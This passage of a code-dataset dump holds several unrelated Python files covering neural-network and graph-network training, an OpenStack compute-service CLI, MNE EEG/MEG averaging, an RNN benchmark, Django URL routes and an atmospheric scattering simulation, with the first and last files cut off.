low=-((6/(hidden_neurons1+hidden_neurons2))**(1/2)),size=(hidden_neurons1, hidden_neurons2))\nb2 = np.zeros((1,hidden_neurons2))\nw3 = np.random.uniform(high=((6/(hidden_neurons2+output_neurons))**(1/2)), low=-((6/(hidden_neurons2+output_neurons))**(1/2)),size=(hidden_neurons2, output_neurons))\nb3 = np.zeros((1,output_neurons))\n\"\"\"\nlra = 0.001\nbatch_size = 100\ni=0\nwhile i < (len(y_train)-batch_size):\n J, gradW1, gradW2, gradb1, gradb2 = cost_grad(w1, w2, b1, b2, X_train[i:i+batch_size], y_train[i:i+batch_size])\n w2 = w2 - (lra * gradW2)\n b2 = b2 - (lra * gradb2)\n w1 = w1 - (lra * gradW1)\n b1 = b1 - (lra * gradb1)\n print(\"cost:\", J)\n i += batch_size\n\"\"\"\n#lra = 0.9(1-i/1000)\n#batch_size = 100\n#i=0\ndef give_acc(X_train, y_train,X_test, y_test, w1, w2, w3, b1, b2 ,b3):\n acc = predict(X_train, y_train, w1, w2, w3, b1, b2 ,b3)\n t_acc = predict(X_test, y_test, w1, w2, w3, b1, b2, b3)\n return acc, t_acc\n\n\n\narre = np.zeros((40,3))\nfor i in range(2000):\n J, gradW1, gradW2, gradb1, gradb2, gradW3, gradb3 = cost_grad(w1, w2, w3, b1, b2, b3, X_train, y_train)\n lra = 0.09*((2000-i)/2000)\n w3 = w3 - (lra * gradW3)\n b3 = b3 - (lra * gradb3)\n w2 = w2 - (lra * gradW2)\n b2 = b2 - (lra * gradb2)\n w1 = w1 - (lra * gradW1)\n b1 = b1 - (lra * gradb1)\n if (i%50) == 0: \n\n acc, t_acc = give_acc(X_train, y_train,X_test, y_test, w1, w2, w3, b1, b2, b3)\n print(\"cost:\", J)\n arre[int(i/50),0]=i\n arre[int(i/50),1]=acc\n arre[int(i/50),2]=t_acc\n i += 1\npd.DataFrame(np.reshape(w1, (-1))).to_csv(\"w1_\" + str(i) + \".csv\", index=False)\npd.DataFrame(np.reshape(w2, (-1))).to_csv(\"w2_\" + str(i) + \".csv\", index=False)\npd.DataFrame(np.reshape(w3, (-1))).to_csv(\"w3_\" + str(i) + \".csv\", index=False)\npd.DataFrame(np.reshape(b1, (-1))).to_csv(\"b1_\" + str(i) + \".csv\", index=False)\npd.DataFrame(np.reshape(b2, (-1))).to_csv(\"b2_\" + str(i) + \".csv\", index=False)\npd.DataFrame(np.reshape(b3, (-1))).to_csv(\"b3_\" + str(i) + \".csv\", index=False)\narre = pd.DataFrame({\"epoch\":arre[:,0],\"train\":arre[:,1],\"test\":arre[:,2]})\narre.to_csv(\"result_3.csv\", index=False)\n\n\n\n\n\n\n\n \n","sub_path":"3_layers.py","file_name":"3_layers.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"472703877","text":"\"\"\"\nimplement a counting bag:\n - get count of items\n\n*similar to bag ADT but includes method num_item to return count of item in bag\n\"\"\"\nimport random\n\nfrom collections import Counter\nfrom string import ascii_lowercase\n\nclass CountBagADT(object):\n def __init__(self):\n self.items = list()\n self.counter = Counter()\n\n def __len__(self):\n return len(self.items)\n\n def __contains__(self, item):\n return item in self.items\n\n def add(self, item, how_many=1):\n self.items.append(item)\n self.counter.update({item: how_many})\n\n def num_item(self, item):\n if not self.counter.has_key(item):\n print('This item not in the bag!')\n return\n else:\n for key, count in self.counter.iteritems():\n if key == item:\n return count\n\n def __iter__(self):\n return iter(self.counter.items())\n\n\ndef main(n):\n print('start shopping ...')\n bag = CountBagADT()\n print('add items {} in shopping bag ...'.format(n))\n for _ in range(n):\n item = ascii_lowercase[random.randint(0, len(ascii_lowercase) - 1)]\n how_many = random.randint(0, n*5)\n bag.add(item, how_many)\n print('You got {} items in your bag'.format(len(bag)))\n print('check contents...')\n for item in bag:\n print('{}'.format(item))\n print('item: {} count: {}'.format(item[0], bag.num_item(item[0])))\n\nmain(5)\n","sub_path":"ds_and_algos_using_python/chap_1_intro/q_1_3.py","file_name":"q_1_3.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"526664751","text":"import pickle\nimport dgl\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\nimport os\nos.environ['DGLBACKEND'] = 'pytorch'\nfrom dgl import DGLGraph\nimport numpy as np\nimport scipy.sparse as spp\nfrom scipy import spatial\nfrom dgl.data import DGLDataset\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom ApolloScape_Dataset import ApolloScape_DGLDataset\nfrom models.GCN import GCN \nfrom models.My_GAT import My_GAT\nfrom models.Gated_GCN import GatedGCN\nfrom tqdm import tqdm\nimport random\nimport wandb\n\n\ndef seed_torch(seed=0):\n\trandom.seed(seed)\n\tos.environ['PYTHONHASHSEED'] = str(seed)\n\tnp.random.seed(seed)\n\ttorch.manual_seed(seed)\n\ttorch.cuda.manual_seed(seed)\n\t#torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.\n\ttorch.backends.cudnn.benchmark = False\n\ttorch.backends.cudnn.deterministic = True\n\nseed_torch()\n\n\n\ntotal_epoch = 40\nlearning_rate = 1e-3\nhidden_dims = 128\nmodel_type = 'gated' #gcn\nbatch_train=64\nbatch_val=64\ndev = 'cuda:0'\nwork_dir = './models_checkpoints'\n\n\nif not os.path.exists(work_dir):\n\tos.makedirs(work_dir)\n\ndef collate_batch(samples):\n graphs, masks = map(list, zip(*samples)) # samples is a list of pairs (graph, mask) mask es VxTx1\n masks = np.vstack(masks)\n masks = torch.tensor(masks)#+torch.zeros(2)\n #masks = masks.view(masks.shape[0],-1)\n #masks= masks.view(masks.shape[0]*masks.shape[1],masks.shape[2],masks.shape[3])#.squeeze(0) para TAMAÑO FIJO\n sizes_n = [graph.number_of_nodes() for graph in graphs] # graph sizes\n snorm_n = [torch.FloatTensor(size, 1).fill_(1 / size) for size in sizes_n]\n snorm_n = torch.cat(snorm_n).sqrt() # graph size normalization \n sizes_e = [graph.number_of_edges() for graph in graphs] # nb of edges\n snorm_e = [torch.FloatTensor(size, 1).fill_(1 / size) for size in sizes_e]\n snorm_e = torch.cat(snorm_e).sqrt() # graph size normalization\n batched_graph = dgl.batch(graphs) # batch graphs\n return batched_graph, masks, snorm_n, snorm_e\n\ndef my_print(content):\n\twith open(log_file, 'a') as writer:\n\t\tprint(content)\n\t\twriter.write(content+'\\n')\n\ndef display_result(results, pra_pref='Train_epoch'):\n\tall_overall_sum_list, all_overall_num_list = pra_results\n\toverall_sum_time = np.sum(all_overall_sum_list**0.5, axis=0)\n\toverall_num_time = np.sum(all_overall_num_list, axis=0)\n\toverall_loss_time = (overall_sum_time / overall_num_time) \n\toverall_log = '|{}|[{}] All_All: {}'.format(datetime.now(), pra_pref, ' '.join(['{:.3f}'.format(x) for x in list(overall_loss_time) + [np.sum(overall_loss_time)]]))\n\tmy_print(overall_log)\n\treturn overall_loss_time\n\t\n\ndef my_save_model(model):\n path = '{}/{}_bt{}bv{}_hid{}_lr{}_ep{:03}.pt'.format(work_dir, model_type, batch_train,batch_val, hidden_dims, learning_rate, total_epoch)\n if os.path.exists(path):\n path= '.' + path.split('.')[1] + '_' + str(datetime.now().minute)+ '.pt'\n torch.save(model.state_dict(), path)\n print('Successfully saved to {}'.format(path))\n\ndef my_load_model(model, path):\n\tcheckpoint = torch.load(path)\n\tmodel.load_state_dict(checkpoint['graph_model'])\n\tprint('Successfull loaded from {}'.format(path))\n\treturn model\n\n\ndef compute_RMSE(pred, gt, mask): \n #output mask vale 0 si no visible o visible pero no hay datos en ese frame\n pred = pred*output_mask[0] #Con esto ya quito del error aquellas filas donde no tengo datos.\n gt = features[0][:,6:,3:5]*output_mask[0] #120 nodos outputmask V,T,C\n xy_error=torch.sum(torch.abs(pred-gt)**2,dim=2) #V,T \n overall_sum_time = xy_error.sum(dim=0) #T - suma de los errores de los V agentes\n overall_num = output_mask[0].sum(dim=-1).sum(dim=0) #T - num de agentes en cada frame\n return overal_sum_time, overall_num, xy_error\n\ndef compute_RMSE_batch(pred, gt, mask): \n #output mask vale 0 si no visible o no-car o visible pero no hay datos en ese frame (B*V,T,1), cada fila un nodo de un grafo perteneciente al batch\n pred=pred.view(pred.shape[0],mask.shape[1],-1)\n #gt=gt.view(pred.shape[0],6,-1)\n \n pred = pred*mask #B*V,T,C (B n grafos en el batch)\n gt = gt*mask # outputmask BV,T,C\n \n x2y2_error=torch.sum(torch.abs(pred-gt)**2,dim=-1) # x^2+y^2 BV,T\n overall_sum_time = x2y2_error.sum(dim=-2) #T - suma de los errores (x^2+y^2) de los V agentes\n overall_num = mask.sum(dim=-1).type(torch.int) #torch.Tensor[(T)] - num de agentes (Y CON DATOS) en cada frame\n return overall_sum_time, overall_num, x2y2_error\n\ndef train(model, model_type, train_dataloader, val_dataloader, opt):\n wandb.watch(model, log=\"all\")\n train_loss_sum=[]\n val_loss_sum=[]\n val_loss_prev=0\n n_epochs=0\n for epoch in range(total_epoch):\n \n print(\"Epoch: \",epoch)\n overall_loss_train=[]\n model.train()\n n_epochs=epoch+1\n \n for batch_graphs, masks, batch_snorm_n, batch_snorm_e in tqdm(train_dataloader):\n feats = batch_graphs.ndata['x'].float().to(dev)\n feats=feats.view(feats.shape[0],-1) #Nx18\n batch_e = batch_graphs.edata['w'].float().to(dev)\n #for GATED GCN\n if model_type != 'gcn':\n batch_e=batch_e.view(batch_e.shape[0],1)\n #model = GatedGCN(input_dim=18, hidden_dim=256, output_dim=12).to(dev)\n batch_pred = model(batch_graphs.to(dev), feats, batch_e, batch_snorm_n.to(dev), batch_snorm_e.to(dev))\n #print(batch_pred.shape, masks.shape)\n\n labels= batch_graphs.ndata['gt'].float().to(dev)\n overall_sum_time, overall_num, _ = compute_RMSE_batch(batch_pred, labels, masks.to(dev)) #(B,6)\n total_loss=torch.sum(overall_sum_time)/torch.sum(overall_num.sum(dim=-2))\n opt.zero_grad() \n total_loss.backward()\n #print(model.embedding_h.weight.grad) #model.GatedGCN1.A.weight.grad)\n opt.step()\n overall_loss_train.extend([total_loss.data.item()])\n #print('|{}| Train_loss: {}'.format(datetime.now(), ' '.join(['{:.3f}'.format(x) for x in list(overall_loss_train) + [np.sum(overall_loss_train)]])))\n print('|{}| Train_loss: {}'.format(datetime.now(), np.sum(overall_loss_train)/len(overall_loss_train)))\n train_loss_sum.append(np.sum(overall_loss_train)/len(overall_loss_train))\n wandb.log({\"Train/loss\": train_loss_sum[-1]}, step=epoch)\n\n val(model, model_type, val_dataloader, val_loss_sum, epoch)\n\n if val_loss_prev < val_loss_sum[-1] and epoch !=0:\n patience+=1\n val_loss_prev = val_loss_sum[-1]\n else:\n patience = 0\n val_loss_prev = val_loss_sum[-1]\n if patience > 2:\n print(\"Early stopping\")\n break\n\n #torch.save(model.state_dict(), os.path.join(wandb.run.dir, 'model.pt'))\n my_save_model(model)\n\n epochs = list(range(n_epochs))\n plt.subplot(1,2,1)\n plt.plot(epochs,train_loss_sum)\n plt.xlabel('Epochs')\n plt.ylabel('Train Loss')\n plt.subplot(1,2,2)\n plt.plot(epochs,val_loss_sum)\n plt.xlabel('Epochs')\n plt.ylabel('Val Loss')\n plt.show()\n\ndef val(model, model_type, val_dataloader,val_loss_sum, epoch):\n model.eval()\n with torch.no_grad():\n overall_num_list=[] \n overall_x2y2_list=[]\n for batched_graph, output_masks,snorm_n, snorm_e in tqdm(val_dataloader):\n feats = batched_graph.ndata['x'].float().to(dev)\n #reshape to have (B*V,T*C) [c1,c2,...,c6]\n feats = feats.view(feats.shape[0],-1)\n e_w = batched_graph.edata['w'].float().to(dev)\n \n if model_type != 'gcn':\n e_w= e_w.view(e_w.shape[0],1)\n \n labels= batched_graph.ndata['gt'].float().to(dev)\n pred = model(batched_graph.to(dev), feats,e_w,snorm_n,snorm_e)\n _, overall_num, x2y2_error = compute_RMSE_batch(pred, labels, output_masks.to(dev))\n #(x2y2_error.shape) #BV,T\n overall_num_list.extend(overall_num.detach().cpu().numpy())\n #(overall_num.shape) #BV,T\n overall_x2y2_list.extend((x2y2_error**0.5).detach().cpu().numpy()) #RMSE para cada nodo en cada T\n \n overall_sum_time=np.sum(overall_x2y2_list,axis=0) #BV,T->T RMSE medio en cada T\n overall_num_time =np.sum(overall_num_list, axis=0)\n overall_loss_time=(overall_sum_time / overall_num_time) #media del error de cada agente en cada frame\n\n print('|{}| Val_loss: {}'.format(datetime.now(), ' '.join(['{:.3f}'.format(x) for x in list(overall_loss_time) + [np.sum(overall_loss_time)]])))\n val_loss_sum.append(np.sum(overall_loss_time))\n wandb.log({'Val/Loss': np.sum(overall_loss_time) }, step=epoch)\n\n\t\ndef test(model, model_type, test_dataloader):\n model.eval()\n with torch.no_grad():\n overall_num_list=[] \n overall_x2y2_list=[]\n for batched_graph, output_masks,snorm_n, snorm_e in tqdm(test_dataloader):\n feats = batched_graph.ndata['x'].float().to(dev)\n #reshape to have shape (B*V,T*C) [c1,c2,...,c6]\n feats = feats.view(feats.shape[0],-1)\n e_w = batched_graph.edata['w'].float().to(dev)\n\n if model_type != 'gcn':\n e_w= e_w.view(e_w.shape[0],1)\n\n labels= batched_graph.ndata['gt'].float().to(dev)\n #labels = labels.view(labels.shape[0], -1)\n pred = model(batched_graph.to(dev), feats,e_w,snorm_n,snorm_e)\n _, overall_num, x2y2_error = compute_RMSE_batch(pred, labels, output_masks.to(dev))\n #print(x2y2_error.shape) #BV,T\n overall_num_list.extend(overall_num.detach().cpu().numpy())\n #print(overall_num.shape) #BV,T\n overall_x2y2_list.extend((x2y2_error**0.5).detach().cpu().numpy()) #RMSE para cada nodo en cada T\n \n overall_sum_time=np.sum(overall_x2y2_list,axis=0) #BV,T->T RMSE medio en cada T\n overall_num_time =np.sum(overall_num_list, axis=0)\n overall_loss_time=(overall_sum_time / overall_num_time) #media del error de cada agente en cada frame\n\n print('|{}| Test_RMSE: {}'.format(datetime.now(), ' '.join(['{:.3f}'.format(x) for x in list(overall_loss_time) + [np.sum(overall_loss_time)]])))\n wandb.log({'test/loss_per_sec': overall_loss_time }) \n wandb.log({'test/log': np.sum(overall_loss_time) }) \n \n\n\ndef sweep_train():\n wandb.init(project=\"dbu_graph\")\n\n work_dir = './models_checkpoints'\n model_type = 'gat'\n hidden_dims=256\n batch_size=64\n base_lr=1e-3\n total_epoch=20\n dev='cuda:0'\n train_dataloader=DataLoader(train_dataset, batch_size=batch_size, shuffle=True,num_workers=12, collate_fn=collate_batch)\n val_dataloader=DataLoader(val_dataset, batch_size=batch_size, shuffle=False,num_workers=12, collate_fn=collate_batch)\n\n if model_type == 'gat':\n model = My_GAT(input_dim=24, hidden_dim=hidden_dims, output_dim=12, heads=1, dropout=0.25, att_ew=True).to(dev)\n elif model_type == 'gcn':\n model = model = GCN(in_feats=24, hid_feats=hidden_dims, out_feats=12, dropout=0.25).to(dev)\n elif model_type == 'gated':\n model = GatedGCN(input_dim=24, hidden_dim=hidden_dims, output_dim=12).to(dev)\n\n opt = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n print(\"############### TRAIN ####################\")\n train(model, model_type, train_dataloader,val_dataloader ,opt)\n print(\"############### TEST ####################\")\n test(model, model_type, test_dataloader )\n\n\n\nif __name__ == '__main__':\n\n train_dataset = ApolloScape_DGLDataset(train_val='train') #3447\n val_dataset = ApolloScape_DGLDataset(train_val='val') #919\n test_dataset = ApolloScape_DGLDataset(train_val='test') #230\n\n \n test_dataloader=DataLoader(test_dataset, batch_size=1, shuffle=False, num_workers=12, collate_fn=collate_batch)\n sweep_train()\n '''\n if model_type == 'gat':\n model = My_GAT(input_dim=18, hidden_dim=hidden_dims, output_dim=12).to(dev)\n elif model_type == 'gcn':\n model = model = GCN(in_feats=18, hid_feats=hidden_dims, out_feats=12).to(dev)\n elif model_type == 'gated':\n model = GatedGCN(input_dim=18, hidden_dim=hidden_dims, output_dim=12).to(dev)\n\n \n opt = torch.optim.Adam(model.parameters(), lr=base_lr)\n\n print(\"############### TRAIN ####################\")\n train(model, train_dataloader,val_dataloader ,opt)\n print(\"############### TEST ####################\")\n test(model,test_dataloader )\n\n '''","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"15646165","text":"# Copyright 2012-2013 OpenStack Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\n\"\"\"Service action implementations\"\"\"\n\nimport logging\n\nfrom osc_lib.command import command\nfrom osc_lib import exceptions\nfrom osc_lib import utils\n\nfrom openstackclient.i18n import _\nfrom openstackclient.i18n import _LE\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DeleteService(command.Command):\n _description = _(\"Delete compute service(s)\")\n\n def get_parser(self, prog_name):\n parser = super(DeleteService, self).get_parser(prog_name)\n parser.add_argument(\n \"service\",\n metavar=\"\",\n nargs='+',\n help=_(\"Compute service(s) to delete (ID only)\")\n )\n return parser\n\n def take_action(self, parsed_args):\n compute_client = self.app.client_manager.compute\n result = 0\n for s in parsed_args.service:\n try:\n compute_client.services.delete(s)\n except Exception as e:\n result += 1\n LOG.error(_(\"Failed to delete compute service with \"\n \"ID '%(service)s': %(e)s\")\n % {'service': s, 'e': e})\n\n if result > 0:\n total = len(parsed_args.service)\n msg = (_(\"%(result)s of %(total)s compute services failed \"\n \"to delete.\") % {'result': result, 'total': total})\n raise exceptions.CommandError(msg)\n\n\nclass ListService(command.Lister):\n _description = _(\"List compute services\")\n\n def get_parser(self, prog_name):\n parser = super(ListService, self).get_parser(prog_name)\n parser.add_argument(\n \"--host\",\n metavar=\"\",\n help=_(\"List services on specified host (name only)\")\n )\n parser.add_argument(\n \"--service\",\n metavar=\"\",\n help=_(\"List only specified service (name only)\")\n )\n parser.add_argument(\n \"--long\",\n action=\"store_true\",\n default=False,\n help=_(\"List additional fields in output\")\n )\n return parser\n\n def take_action(self, parsed_args):\n compute_client = self.app.client_manager.compute\n if parsed_args.long:\n columns = (\n \"ID\",\n \"Binary\",\n \"Host\",\n \"Zone\",\n \"Status\",\n \"State\",\n \"Updated At\",\n \"Disabled Reason\"\n )\n else:\n columns = (\n \"ID\",\n \"Binary\",\n \"Host\",\n \"Zone\",\n \"Status\",\n \"State\",\n \"Updated At\"\n )\n data = compute_client.services.list(parsed_args.host,\n parsed_args.service)\n return (columns,\n (utils.get_item_properties(\n s, columns,\n ) for s in data))\n\n\nclass SetService(command.Command):\n _description = _(\"Set compute service properties\")\n\n def get_parser(self, prog_name):\n parser = super(SetService, self).get_parser(prog_name)\n parser.add_argument(\n \"host\",\n metavar=\"\",\n help=_(\"Name of host\")\n )\n parser.add_argument(\n \"service\",\n metavar=\"\",\n help=_(\"Name of service (Binary name)\")\n )\n enabled_group = parser.add_mutually_exclusive_group()\n enabled_group.add_argument(\n \"--enable\",\n action=\"store_true\",\n help=_(\"Enable service\")\n )\n enabled_group.add_argument(\n \"--disable\",\n action=\"store_true\",\n help=_(\"Disable service\")\n )\n parser.add_argument(\n \"--disable-reason\",\n default=None,\n metavar=\"\",\n help=_(\"Reason for disabling the service (in quotas). \"\n \"Should be used with --disable option.\")\n )\n up_down_group = parser.add_mutually_exclusive_group()\n up_down_group.add_argument(\n '--up',\n action='store_true',\n help=_('Force up service'),\n )\n up_down_group.add_argument(\n '--down',\n action='store_true',\n help=_('Force down service'),\n )\n return parser\n\n def take_action(self, parsed_args):\n compute_client = self.app.client_manager.compute\n cs = compute_client.services\n\n if (parsed_args.enable or not parsed_args.disable) and \\\n parsed_args.disable_reason:\n msg = _(\"Cannot specify option --disable-reason without \"\n \"--disable specified.\")\n raise exceptions.CommandError(msg)\n\n result = 0\n enabled = None\n try:\n if parsed_args.enable:\n enabled = True\n if parsed_args.disable:\n enabled = False\n\n if enabled is not None:\n if enabled:\n cs.enable(parsed_args.host, parsed_args.service)\n else:\n if parsed_args.disable_reason:\n cs.disable_log_reason(parsed_args.host,\n parsed_args.service,\n parsed_args.disable_reason)\n else:\n cs.disable(parsed_args.host, parsed_args.service)\n except Exception:\n status = \"enabled\" if enabled else \"disabled\"\n LOG.error(_LE(\"Failed to set service status to %s\"), status)\n result += 1\n\n force_down = None\n try:\n if parsed_args.down:\n force_down = True\n if parsed_args.up:\n force_down = False\n if force_down is not None:\n cs.force_down(parsed_args.host, parsed_args.service,\n force_down=force_down)\n except Exception:\n state = \"down\" if force_down else \"up\"\n LOG.error(_LE(\"Failed to set service state to %s\"), state)\n result += 1\n\n if result > 0:\n msg = _(\"Compute service %(service)s of host %(host)s failed to \"\n \"set.\") % {\"service\": parsed_args.service,\n \"host\": parsed_args.host}\n raise exceptions.CommandError(msg)\n","sub_path":"filesystems/vnx_rootfs_lxc_ubuntu64-16.04-v025-openstack-compute/rootfs/usr/lib/python2.7/dist-packages/openstackclient/compute/v2/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":7042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"4587012","text":"import mne, os, sys, numpy as np\nfrom config import *\nimport pathlib\n\n\nif mode == 'server':\n fpath_ev = '/home/asmyasnikova83/DATA/'\n fpath_fr= '/home/asmyasnikova83/DATA/TFR/'\n temp1 = mne.Evoked('/home/asmyasnikova83/DATA/P006_run6_evoked-ave.fif')\n out_path = '/home/asmyasnikova83/DATA/evoked_ave/'\nelse:\n fpath_ev = '/home/sasha/MEG/MIO_cleaning/'\n fpath_fr = '/home/sasha/MEG/Time_frequency_analysis/'\n temp1 = mne.Evoked('/home/sasha/MEG/MIO_cleaning/P006_run6_evoked-ave.fif')\n out_path = '/home/sasha/MEG/Evoked/'\n\n\n\nif kind == 'negative':\n #explore negative feedback\n if mode == 'server':\n fpath_events = fpath_ev + 'mio_out_negative/{}_run{}_mio_corrected_negative_no_train.txt'\n data_path = fpath_fr + 'negative/{0}_run{1}_theta_negative_no_train_int_50ms-tfr.h5'\n if mode != 'server':\n fpath_events = fpath_ev + '{}_run{}_mio_corrected_negative.txt'\n data_path = fpath_fr + '{0}_run{1}_theta_negative_int_50ms-tfr.h5'\nif kind == 'positive':\n if mode == 'server':\n fpath_events = fpath_ev + 'mio_out_positive/{}_run{}_mio_corrected_positive_no_train.txt'\n data_path = fpath_fr + 'positive/{0}_run{1}_theta_positive_no_train_int_50ms-tfr.h5'\n if mode != 'server':\n fpath_events = fpath_ev + '{}_run{}_mio_corrected_positive.txt'\n data_path = fpath_fr + '{0}_run{1}_theta_positive_int_50ms-tfr.h5'\n#get rid of runs, leave frequency data for pos and neg feedback for time course plotting\n\n \ndata = []\nrun_counter = 0\nfor subj in subjects:\n for run in runs:\n if run == runs[-1]:\n print('Dis is da last run!')\n print('run', run)\n rf = fpath_events.format(subj, run)\n file = pathlib.Path(rf)\n if file.exists():\n print('This file is being processed: ', rf)\n freq_file = data_path.format(subj, run)\n freq_data = mne.time_frequency.read_tfrs(freq_file)[0]\n data.append(freq_data.data)\n run_counter = run_counter + 1\n if run_counter > 0:\n new_evoked = temp1.copy()\n new_evoked.info = freq_data.info\n new_evoked.nave = 98 #all\n new_evoked.kind = \"average\"\n new_evoked.times = freq_data.times\n new_evoked.first = 0\n new_evoked.last = new_evoked.times.shape[0] - 1\n new_evoked.comment = freq_data.comment\n fq_data = np.asarray(data)\n print('fq_data shape', fq_data.shape)\n #mean across runs\n fq_data = fq_data.mean(axis=0).mean(axis=1)\n print('shape', fq_data.shape)\n new_evoked.data = fq_data\n out_file = out_path + \"{0}_feedback_{1}_no_train_theta-ave.fif\".format(subj, kind)\n print('out file', out_file)\n print(out_file)\n new_evoked.save(out_file)\n run_counter = 0\n data = []\n else:\n print('For this subj all runs are empty')\n run_counter = 0\n data = []\n continue\n else:\n print('run', run)\n rf = fpath_events.format(subj, run)\n file = pathlib.Path(rf)\n if file.exists():\n print('This file is being processed: ', rf)\n freq_file = data_path.format(subj, run)\n freq_data = mne.time_frequency.read_tfrs(freq_file)[0]\n data.append(freq_data.data)\n run_counter = run_counter + 1\n","sub_path":"make_evoked_freq_data_container_no_trained.py","file_name":"make_evoked_freq_data_container_no_trained.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"566010568","text":"import time\nimport torch\nimport numpy as np\n\ntorch.backends.cudnn.enabled = False\n\nrnn_size = 640\nbatch_size = 40\ntime_steps = 30\niterations = 10\ngg = 2*rnn_size*rnn_size*batch_size*time_steps\n\ninputs = torch.rand( batch_size, time_steps, rnn_size )\n\nprint( inputs.size() )\n\nrnn = torch.nn.RNN( input_size=rnn_size, nonlinearity=\"relu\", hidden_size=rnn_size, num_layers=1, bias=True, bidirectional=False )\n\nstart = time.time()\n\nfor i in range( iterations ):\n b = rnn( inputs )\n\nend = time.time()\n\nprint( 1e6*(end-start)/20 )\n\ntotalFlops = iterations * gg\nteraflops = totalFlops / ((end-start) * 1.0e12)\nprint(teraflops)","sub_path":"python_scripts/rnn_benchmark.py","file_name":"rnn_benchmark.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"300759455","text":"from django.urls import path, include\nfrom crawler import views\n\n\napp_name = 'crawler'\nurlpatterns = [\n path('', views.login),\n path('regist/', views.regist, name='regist'),\n path('login/', views.login, name='login'),\n path('accounts/login/',views.login),\n path('logout/', views.my_logout, name='logout'),\n path('get_img_code/', views.get_img_code, name='get_img_code'),\n path('product_urls/', views.product_urls, name='product_urls'),\n path('crawle_all/', views.crawle_all, name='crawle_all'),\n path('url_detail/', views.url_detail, name='url_detail'),\n path('add_url/', views.add_url, name='add_url'),\n path('send_email/', views.send_email, ),\n]\n","sub_path":"crawler/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"362774802","text":"\"\"\"Perform a DOIT scattering radiation with ARTS.\n\nBased on a script by Jakob Doerr.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport typhon as ty\nimport typhon.arts.workspace\nfrom matplotlib.ticker import StrMethodFormatter\n\n\ndef main():\n # Control parameters\n zenith_angle = 180.0 # viewing angle [degree, 180° = upward radiation]\n pressure_level = None # pressure level [Pa]\n\n # Run ARTS simulation\n p, zenith_angles, ifield, ifield_clearsky = scattering()\n\n # Plot Tb vs height for a specific viewing angle\n ty.plots.styles.use(\"typhon\")\n\n ia, zenith_angle = argclosest(zenith_angles, zenith_angle, retvalue=True)\n\n f0, a0 = plt.subplots()\n a0.plot(ifield_clearsky[:, ia], p / 100, label=\"Clear-sky\")\n a0.plot(ifield[:, ia], p / 100, label=\"Scattering\")\n a0.grid()\n a0.set_ylim(p.max() / 100, p.min() / 100)\n a0.set_ylabel(\"Pressure [hPa]\")\n a0.set_xlabel(r\"$T_\\mathrm{B}$ [K]\")\n a0.legend()\n a0.set_title(rf\"$T_\\mathrm{{B}}$ at $\\Theta$ = {zenith_angle:.0f}°\")\n\n # Plot Tb vs Viewing angle for a specific pressure level:\n if pressure_level is not None:\n ip, pressure_level = argclosest(p, pressure_level, retvalue=True)\n\n f1, a1 = plt.subplots(subplot_kw=dict(projection=\"polar\"))\n a1.plot(np.deg2rad(zenith_angles), ifield_clearsky[ip, :], label=\"Clear-sky\")\n a1.plot(np.deg2rad(zenith_angles), ifield[ip, :], label=\"Scattering\")\n a1.legend(loc=\"upper right\")\n a1.set_theta_offset(np.deg2rad(+90))\n a1.set_theta_direction(-1)\n a1.set_thetagrids(np.arange(0, 181, 45), ha=\"left\")\n a1.text(0.01, 0.75, r\"$T_\\mathrm{B}$\", transform=a1.transAxes)\n a1.yaxis.set_major_formatter(StrMethodFormatter(\"{x:g} K\"))\n a1.set_thetamin(0)\n a1.set_thetamax(180)\n a1.set_xlabel(r\"Viewing angle $\\Theta$\")\n a1.set_title(rf\"$T_\\mathrm{{B}}$ at p = {pressure_level/100:.0f} hPa\")\n plt.show()\n\n\ndef argclosest(array, value, retvalue=False):\n \"\"\"Returns the index of the closest value in array. \"\"\"\n idx = np.abs(array - value).argmin()\n\n return (idx, array[idx]) if retvalue else idx\n\n\ndef scattering(\n ice_water_path=2.0, num_viewing_angles=37, phase=\"ice\", radius=1.5e2, verbosity=2\n):\n \"\"\"Perform a radiative transfer simulation with a simple cloud.\n\n Parameters:\n ice_water_path (float): Integrated ice water in cloud box [kg/m^2].\n num_viewing_angles (int): Number of zenith viewing angles.\n phase (str): Hydrometeor phase \"ice\" or \"liquid\".\n radius (float): Particle radius.\n verbosity (int): Reporting levels between 0 (only error messages)\n and 3 (everything).\n\n Returns:\n ndarray, ndarray, ndarray, ndarray:\n Pressure [hPa],\n Viewing angles [degree],\n Radiation field [K],\n Radiation field clear-sky [K].\n\n \"\"\"\n ws = ty.arts.workspace.Workspace(verbosity=0)\n ws.execute_controlfile(\"general/general.arts\")\n ws.execute_controlfile(\"general/continua.arts\")\n ws.execute_controlfile(\"general/agendas.arts\")\n ws.execute_controlfile(\"general/agendasDOIT.arts\")\n ws.execute_controlfile(\"general/planet_earth.arts\")\n ws.verbositySetScreen(ws.verbosity, verbosity)\n\n # 